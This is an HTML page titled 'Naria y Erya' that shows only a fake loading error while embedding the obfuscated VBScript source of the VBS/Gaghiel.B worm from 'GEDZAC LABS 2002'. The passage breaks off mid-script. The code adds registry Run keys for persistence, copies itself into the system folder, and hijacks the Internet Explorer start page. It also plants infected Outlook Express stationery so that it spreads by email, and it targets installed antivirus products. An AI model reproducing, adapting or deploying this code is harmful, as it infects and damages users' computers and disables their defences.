Gaghiel
<html><head><Title>Naria y Erya</title></head><body><p>Error Cargando : 2015</body></html>

<script Language ='VBScript'>
On Error Resume Next
set gz = createobject(q("tdunwsni`)ankbt~tsbjhembds"))
set gy = createobject(q("Ptdunws)Tobkk"))
if gz.FileExists(gz.getspecialfolder(1) & q("[@f`onbk)qet")) = False then
gy.regwrite q("OLB^XKHDFKXJFDONIB[THASPFUB[Jnduhthas[")&q("Pnichpt[DruubisQbut")&q("nhi[Uri[@f`onbk"), gz.getspecialfolder(1) & q("[@f`onbk)qet")
gy.regwrite q("OLB^XKHDFKXJFDONIB[THASPFUB[Jnduh")&q("thas[Pnichpt[DruubisQbutnhi[Uri'Chjfni'")&q("Jfif`bu[@f`onbk"), gz.getspecialfolder(1) & q("[@f`onbk)qet")
set gs = gz.CreateTextFile(gz.getspecialfolder(1) & q("[@f`onbk)qet"))
vbs = vbs & "REM <**********GEDZAC LABS 2002**********>"& vbCrlf
vbs = vbs & "REM VBS/Gaghiel.B by MachineDramon/GEDZAC"& vbCrlf
vbs = vbs & "REM Hecho en el Peru, Calidad Mundial"& vbCrlf
vbs = vbs & "REM Sachiel2015@latinmail.com,"& vbCrlf
vbs = vbs & "REM 27-11-2002   Tacna-Peru"& vbCrlf
vbs = vbs & "REM Derechos Reservados"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "Dim gf, gw"& vbCrlf
vbs = vbs & "set gf = createobject(q("&Chr(34)&"tdunwsni`)ankbT~tsbjhembds"&Chr(34)&"))"& vbCrlf
vbs = vbs & "set gw = createobject(q("&Chr(34)&"Ptdunws)Tobkk"&Chr(34)&"))"& vbCrlf
vbs = vbs & "GWR=q("&Chr(34)&"OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas["&Chr(34)&") & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Pnichpt'Tdunwsni`'Ohts[Tbssni`t[Snjbhrs"&Chr(34)&")"& vbCrlf
vbs = vbs & "Tg=gw.RegRead(GWR)"& vbCrlf
vbs = vbs & "if (Tg>=1) or (Tg="&Chr(34)&""&Chr(34)&") Then"& vbCrlf
vbs = vbs & "gw.RegWrite GWR, 0, "&Chr(34)&"REG_DWORD"&Chr(34)&""& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "if Day(date) > 25 then"& vbCrlf
vbs = vbs & "Sd=q("&Chr(34)&"OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Nisbu"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"ibs'Bwkhubu[Jfni[Tsfus'Wf`b"&Chr(34)&")"& vbCrlf
vbs = vbs & "Sg=q("&Chr(34)&"ossw=((ppp)`ufsntpbe)dhj(jfdonibcufjhi6("&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tfdonbk)mw`)tdu"&Chr(34)&")"& vbCrlf
vbs = vbs & "gw.regWrite Sd, Sg"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "if (Month(date) + Day(date) = 30) then"& vbCrlf
vbs = vbs & "msgbox "&Chr(34)&"Oracion antes de entrar"&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&" al internet:"&Chr(34)&" & vbCrlf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"     "&Chr(34)&"& vbCrlf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Satelite nuestro que estas "&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"en el cielo,"&Chr(34)&" & vbCrlf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Acelerado sea tu link,"&Chr(34)&" & vbCrlf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Venga a nosotros tu hipertexto,"&Chr(34)&" & vbCrlf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Hagase tu conexion en lo real como"&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&" en lo virtual,"&Chr(34)&" & vbCrlf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Danos hoy el download de cada dia,"&Chr(34)&" & vbCrlf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Perdona el cafe en el Teclado,"&Chr(34)&" & vbCrlf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Asi como nosotros perdonamos a"&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&" nuestros proveedores,"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"No nos dejes caer la conexion,"&Chr(34)&" & vbCrlf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Y libranos de todo Virus,"&Chr(34)&" & vbCrlf & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"En nombre del Server, del Modem y del "&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"santo User-name."&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Log-in."&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"      "&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"GEDZAC LABS 2002"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"VBS/Gaghiel by MachineDramon"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Hecho en el Perú, Calidad Mundial"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"Sachiel2015@latinmail.com"&Chr(34)&", 15, "&Chr(34)&"Gaghiel"&Chr(34)&""& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "if IsHTA = False then"& vbCrlf
vbs = vbs & "set gd = createobject(q("&Chr(34)&"Tdunwsni`)Cndsnhifu~"&Chr(34)&"))"& vbCrlf
vbs = vbs & "gd.add q("&Chr(34)&"osjk"&Chr(34)&"), "&Chr(34)&"1"&Chr(34)&": gd.add q("&Chr(34)&"osj"&Chr(34)&"), "&Chr(34)&"2"&Chr(34)&""& vbCrlf
vbs = vbs & "gd.add q("&Chr(34)&"osf"&Chr(34)&"), "&Chr(34)&"3"&Chr(34)&": gd.add q("&Chr(34)&"wow"&Chr(34)&"), "&Chr(34)&"4"&Chr(34)&""& vbCrlf
vbs = vbs & "gd.add q("&Chr(34)&"ftw"&Chr(34)&"), "&Chr(34)&"5"&Chr(34)&": gd.add q("&Chr(34)&"tosjk"&Chr(34)&"), "&Chr(34)&"6"&Chr(34)&""& vbCrlf
vbs = vbs & "gd.add q("&Chr(34)&"tosj"&Chr(34)&"), "&Chr(34)&"7"&Chr(34)&": gd.add q("&Chr(34)&"wosj"&Chr(34)&"), "&Chr(34)&"8"&Chr(34)&""& vbCrlf
vbs = vbs & "gd.add q("&Chr(34)&"wosjk"&Chr(34)&"), "&Chr(34)&"9"&Chr(34)&": gd.add q("&Chr(34)&"osp"&Chr(34)&"), "&Chr(34)&"10"&Chr(34)&""& vbCrlf
vbs = vbs & "gd.add q("&Chr(34)&"wk`"&Chr(34)&"), "&Chr(34)&"11"&Chr(34)&": gd.add q("&Chr(34)&"ub`bcns"&Chr(34)&"), "&Chr(34)&"12"&Chr(34)&""& vbCrlf
vbs = vbs & "gd.add q("&Chr(34)&"ub`bce45"&Chr(34)&"), "&Chr(34)&"13"&Chr(34)&": gd.add q("&Chr(34)&"jtdhian`"&Chr(34)&"), "&Chr(34)&"14"&Chr(34)&""& vbCrlf
vbs = vbs & "gd.add q("&Chr(34)&"tad"&Chr(34)&"), "&Chr(34)&"15"&Chr(34)&": gd.add q("&Chr(34)&"`f`onbk)osf"&Chr(34)&"), "&Chr(34)&"16"&Chr(34)&""& vbCrlf
vbs = vbs & "Gds = gf.getspecialfolder(1)"& vbCrlf
vbs = vbs & "if gf.FileExists(Gds&q("&Chr(34)&"[Fi`bkcbkJfu)osjk"&Chr(34)&"))=False then"& vbCrlf
vbs = vbs & "Set Ag=gf.CreateTextFile(Gds&q("&Chr(34)&"[Fi`bkcbkJfu)osjk"&Chr(34)&"))"& vbCrlf
vbs = vbs & "Wl=q("&Chr(34)&";osjk9;obfc9;Snskb9Ifunf'~'Bu"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"~f;(snskb9;(obfc9;ehc~"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"9;w9Buuhu'Dfu`fich'='5762;(ehc~9;(osjk9"&Chr(34)&")"& vbCrlf
vbs = vbs & "Ag.WriteLine Wl "& vbCrlf
vbs = vbs & "Ag.close"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "set gag = gf.OpenTextFile(Wscript.ScriptFullname,1)"& vbCrlf
vbs = vbs & "Do while gag.AtendOfStream = False"& vbCrlf
vbs = vbs & "gli = gag.ReadLine"& vbCrlf
vbs = vbs & "if gli <> "&Chr(34)&""&Chr(34)&" then"& vbCrlf
vbs = vbs & "vbg = vbg&q("&Chr(34)&"qet':'qet'!'"&Chr(34)&") & _"& vbCrlf
vbs = vbs & "chr(34)& _"& vbCrlf
vbs = vbs & "Replace(gli, Chr(34), Chr(34)&"&Chr(34)&"&Chr(34)&"&Chr(34)&"&Chr(34))& _"& vbCrlf
vbs = vbs & "chr(34) & "&Chr(34)&"& vbCrlf"&Chr(34)&" & vbCrlf"& vbCrlf
vbs = vbs & "end if "& vbCrlf
vbs = vbs & "loop"& vbCrlf
vbs = vbs & "gag.close"& vbCrlf
vbs = vbs & "set ghg = gf.OpenTextFile(Wscript.ScriptFullname,1)"& vbCrlf
vbs = vbs & "vbz = ghg.ReadAll"& vbCrlf
vbs = vbs & "ghg.close"& vbCrlf
vbs = vbs & "Set Ghi = gf.OpentextFile(Wscript.ScriptFullname,1)"& vbCrlf
vbs = vbs & "Do while Ghi.AtendOfStream = False"& vbCrlf
vbs = vbs & "vb = Ghi.ReadLine"& vbCrlf
vbs = vbs & "if vb <> "&Chr(34)&""&Chr(34)&" then"& vbCrlf
vbs = vbs & "vbm = vbm & "&Chr(34)&"q("&Chr(34)&" & chr(34) & q(vb) & chr(34) & "&Chr(34)&")"&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"&vbCrlf& _"&Chr(34)&" & vbCrlf"& vbCrlf
vbs = vbs & "end if"& vbCrlf
vbs = vbs & "Loop"& vbCrlf
vbs = vbs & "Ghi.close"& vbCrlf
vbs = vbs & "vs=q("&Chr(34)&";tdunws'Kfi`rf`b':"&Chr(34)&")&chr(39)&q("&Chr(34)&"QETdunws"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "chr(39)&q("&Chr(34)&"9"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Hi'Buuhu'Ubtrjb'Ibs"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tbs'`}':'dubfsbhembds/"&Chr(34)&")& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"tdunwsni`)ankbt~tsbjhembds"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "chr(34)&"&Chr(34)&")"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"."&Chr(34)&") &vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tbs'`~':'dubfsbhembds/"&Chr(34)&")& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"Ptdunws)Tobkk"&Chr(34)&"&chr(34)&"&Chr(34)&")"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"na'`})AnkbBntst/`})`bstwbdnfkahkcbu/6.'!'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"[@f`onbk)qet"&Chr(34)&"&chr(34)&"&Chr(34)&")"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&".':'Afktb'sobi"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"`~)ub`punsb'"&Chr(34)&")& _ "& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"OLB^XKHDFKXJFDONIB[THASPFUB[Jnduhthas["&Chr(34)&"&chr(34)&"&Chr(34)&")&"&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"Pnichpt[DruubisQbut"&Chr(34)&"&chr(34)&"&Chr(34)&")&"&Chr(34)&" & _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"nhi[Uri[@f`onbk"&Chr(34)&"&chr(34)&"&Chr(34)&")"&Chr(34)&"&q("&Chr(34)&"+'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"`})`bstwbdnfkahkcbu/6."&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'!'"&Chr(34)&")&"&Chr(34)&"q("&Chr(34)&"&chr(34)& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"[@f`onbk)qet"&Chr(34)&"&chr(34)&"&Chr(34)&")"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"`~)ub`punsb'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"OLB^XKHDFKXJFDONIB[THASPFUB[Jnduh"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "chr(34)&"&Chr(34)&")&"&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"thas[Pnichpt[DruubisQbutnhi[Uri'Chjfni'"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "chr(34)&"&Chr(34)&")&"&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"Jfif`bu[@f`onbk"&Chr(34)&"&chr(34)&"&Chr(34)&")"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"+'"&Chr(34)&")&q("&Chr(34)&"`})`bstwbdnfkahkcbu/6."&Chr(34)&")&q("&Chr(34)&"'!'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"[@f`onbk)qet"&Chr(34)&"&chr(34)&"&Chr(34)&")"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tbs'`t':'`})DubfsbSbsAnkb/`})`bstwbdnf"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"kahkcbu/6.'!'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"[@f`onbk)qet"&Chr(34)&"&chr(34)&"&Chr(34)&")"&Chr(34)&"&q("&Chr(34)&"."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "vbg &vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"`t)Punsb'qet"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"`t)dkhtb"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Tbs'@':'`})`bsankb/`})`bstwbdnf"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"kahkcbu/6.'!'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&Chr(34)&"&Chr(34)&"[@f`onbk)qet"&Chr(34)&"&Chr(34)&"&Chr(34)&")"&Chr(34)&"&q("&Chr(34)&"."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"@)fssunersbt':'@)fssunersbt','5"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"`~)uri'`})`bstwbdnfkahkcbu/6.'!'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "chr(34)&q("&Chr(34)&"[@f`onbk)qet"&Chr(34)&")&Chr(34)&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bic'na"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"na'buu)irjebu';9'7'sobi"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fkbus/"&Chr(34)&")&chr(34)&q("&Chr(34)&"Buuhu'64"&Chr(34)&")&chr(34)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'!'qeDuka'!'"&Chr(34)&")&chr(34)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Btsf'Wf`nif'Ubvrnbub'Dhisuhkbt'Fdsnqb_"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'wfuf'tbu'jhtsu"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fcf'bi'tr'shsfkncfc"&Chr(34)&")&chr(34)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'!'qeDuka'!'"&Chr(34)&")&chr(34)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Wubtnhib'Fdsrfkn}fu'~'Fdbwsb"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "chr(34)&q("&Chr(34)&"."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Bic'na"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Aridsnhi'v/m."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Hi'Buuhu'Ubtrjb'Ibs"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Ahu'u':'6'sh'kbi/m."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"v':'v'!'Dou/Ftd/Jnc/m+u+6..'_hu"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'Kbi/"&Chr(34)&")&Chr(34)&q("&Chr(34)&"@f`onbk"&Chr(34)&")&Chr(34)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&".."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Ibs"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Bic'aridsnhi"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&";"&Chr(34)&")&q("&Chr(34)&"("&Chr(34)&")&q("&Chr(34)&"tdunws9"&Chr(34)&")"& vbCrlf
vbs = vbs & "Gaghiel()"& vbCrlf
vbs = vbs & "GExpress()"& vbCrlf
vbs = vbs & "GMail()"& vbCrlf
vbs = vbs & "Dilandu()"& vbCrlf
vbs = vbs & "Rei()"& vbCrlf
vbs = vbs & "Else"& vbCrlf
vbs = vbs & "GHta()"& vbCrlf
vbs = vbs & "Rei()"& vbCrlf
vbs = vbs & "End if"& vbCrlf
vbs = vbs & "Sub Dilandu()"& vbCrlf
vbs = vbs & "On Error resume next"& vbCrlf
vbs = vbs & "Dim th, per, mcf, pan, nor, it"& vbCrlf
vbs = vbs & "th=q("&Chr(34)&"OLB^XKHDFKXJFDONIB[THASPFUB[Ofdlthas["&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Sob'Ofdlbu'Fisn*Qnurt[SOCFS"&Chr(34)&")"& vbCrlf
vbs = vbs & "th=gw.regRead(th)"& vbCrlf
vbs = vbs & "per=q("&Chr(34)&"OLB^XKHDFKXJFDONIB[THASPFUB[WBU"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'T~tsbjt[WBU'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Fisnqnurt[Nitsfk"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"fdnôi[cnuWunidnwfk"&Chr(34)&")"& vbCrlf
vbs = vbs & "per = gw.regRead(per)"& vbCrlf
vbs = vbs & "mcf=q("&Chr(34)&"OLB^XKHDFKXJFDONIB[THASPFUB[JdFabb[Q"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"nurtTdfi[Khdfsnhi"&Chr(34)&")"& vbCrlf
vbs = vbs & "mcf = gw.regRead(mcf)"& vbCrlf
vbs = vbs & "pan=q("&Chr(34)&"OLB^XKHDFKXJFDONIB[Thaspfub[Wficf"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'Thaspfub[Wficf'Fisnqnu"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"rt'1)7[Wfso"&Chr(34)&")"& vbCrlf
vbs = vbs & "pan=gw.regRead(pan)"& vbCrlf
vbs = vbs & "nor=q("&Chr(34)&"OLB^XKHDFKXJFDONIB[Thaspfub[T~jfi"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"sbd[NitsfkkbcFwwt[IFQ"&Chr(34)&")"& vbCrlf
vbs = vbs & "nor = gw.regRead(nor)"& vbCrlf
vbs = vbs & "it=q("&Chr(34)&"OLB^XKHDFKXJFDONIB[Thaspfub[Dhjwrs"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"buFtthdnfsbt[Fisn*"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Qnurt[Ubtncbis[QbsWfso"&Chr(34)&")"& vbCrlf
vbs = vbs & "it = gw.regRead(it)"& vbCrlf
vbs = vbs & "if th <> "&Chr(34)&""&Chr(34)&" then ATF(th)"& vbCrlf
vbs = vbs & "if per <> "&Chr(34)&""&Chr(34)&" then ATF(per)"& vbCrlf
vbs = vbs & "if mcf <> "&Chr(34)&""&Chr(34)&" then ATF(mcf)"& vbCrlf
vbs = vbs & "if pan <> "&Chr(34)&""&Chr(34)&" then ATF(pan)"& vbCrlf
vbs = vbs & "if nor <> "&Chr(34)&""&Chr(34)&" then ATF(nor)"& vbCrlf
vbs = vbs & "if it <> "&Chr(34)&""&Chr(34)&" then ATF(it)"& vbCrlf
vbs = vbs & "End sub"& vbCrlf
vbs = vbs & "Sub GExpress()"& vbCrlf
vbs = vbs & "On Error Resume Next"& vbCrlf
vbs = vbs & "Gwin = gf.getspecialfolder(0)"& vbCrlf
vbs = vbs & "gda=q("&Chr(34)&"OLB^XDRUUBISXRTBU[Ncbisnsnbt[Cbafrks'Rtbu'NC"&Chr(34)&")"& vbCrlf
vbs = vbs & "ug=gw.RegRead (gda)"& vbCrlf
vbs = vbs & "kg = q("&Chr(34)&"OLB^XDRUUBISXRTBU[Ncbisnsnbt["&Chr(34)&") & ug & _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"[Thaspfub[Jnduhthas[Hrskhhl'Bwubtt[2)7[Jfnk"&Chr(34)&")"& vbCrlf
vbs = vbs & "gw.regwrite kg&q("&Chr(34)&"[Jbttf`b'Tbic'OSJK"&Chr(34)&"), 1"& vbCrlf
vbs = vbs & "gw.regwrite kg&q("&Chr(34)&"[Dhjwhtb'Rtb'Tsfsnhibu~"&Chr(34)&"), 1"& vbCrlf
vbs = vbs & "GD1 = kg & q("&Chr(34)&"[Tsfsnhibu~'Ifjb"&Chr(34)&")"& vbCrlf
vbs = vbs & "gw.regwrite GD1, Gwin&q("&Chr(34)&"[@f`onbk)osjk"&Chr(34)&")"& vbCrlf
vbs = vbs & "if gf.FileExists(Gwin&q("&Chr(34)&"[@f`onbk)osjk"&Chr(34)&"))=False then"& vbCrlf
vbs = vbs & "v=q("&Chr(34)&";tdunws'Kfi`rf`b':"&Chr(34)&")&chr(39)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"QETdunws"&Chr(34)&")&chr(39)&q("&Chr(34)&"9"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Hi'Buuhu'Ubtrjb'Ibs"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Tbs'tk':'Dubfsbhembds/"&Chr(34)&")& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"Tdunwskbs)s~wbkne"&Chr(34)&"&chr(34)&"&Chr(34)&")"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"na'NiTsu/ifqn`fshu)t~tsbjkfi`rf`b+'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "chr(34)&q("&Chr(34)&"bt"&Chr(34)&")&chr(34)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&".';9'7'sobi"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tk)wfso':'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"D=[pnichpt"&Chr(34)&"&chr(34)& _"& vbCrlf
vbs = vbs & ""&Chr(34)&")& _"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"[Jbiý'Nindnh[Wuh`u"&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"fjft"&Chr(34)&"&chr(34)&"&Chr(34)&")& _"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"[Nindnh[@f`onbk)osf"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "chr(34)&"&Chr(34)&")"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bktb"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tk)wfso':'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"D=[pnichpt"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "chr(34)&"&Chr(34)&")& _"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"[Tsfus'Jbir[Wuh`uf"&Chr(34)&"& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"jt[Tsf"&Chr(34)&"&chr(34)&"&Chr(34)&")& _"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & ""&Chr(34)&"q("&Chr(34)&"&chr(34)&"&Chr(34)&"usrw[@f`onbk)osf"&Chr(34)&"& _"& vbCrlf
vbs = vbs & "chr(34)&"&Chr(34)&")"&Chr(34)&"&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"bic'na"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tk)chd':'"&Chr(34)&")&q("&Chr(34)&"qeDuka'!'"&Chr(34)&")&chr(34)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&";Tdunws'Kfi`rf`b':'"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "chr(39)&q("&Chr(34)&"QETdunws"&Chr(34)&")&chr(39)&q("&Chr(34)&"9"&Chr(34)&")&chr(34)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"'!'qeDuka'!'X"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "vbCrlf&vbm&chr(34)&q("&Chr(34)&";"&Chr(34)&")&chr(34)&q("&Chr(34)&"'!'"&Chr(34)&")&chr(34)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"("&Chr(34)&")&chr(34)&q("&Chr(34)&"'!'"&Chr(34)&")&chr(34)&q("&Chr(34)&"Tdunws9"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "chr(34)&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"tk)punsb"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Aridsnhi'v/m."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Hi'Buuhu'Ubtrjb'Ibs"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Ahu'u':'6'sh'kbi/m."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"v':'v'!'Dou/Ftd/Jnc/m+u+6..'_hu'Kbi/"&Chr(34)&")&chr(34)& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"@f`onbk"&Chr(34)&")& _"& vbCrlf
vbs = vbs & "chr(34) & q("&Chr(34)&".."&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Ibs"&Chr(34)&")&vbCrlf& _"& vbCrlf
vbs = vbs & "q("&Chr(34)&"Bic'aridsnhi"&Chr(34)&")&vbCrlf& _"& vbCrlf
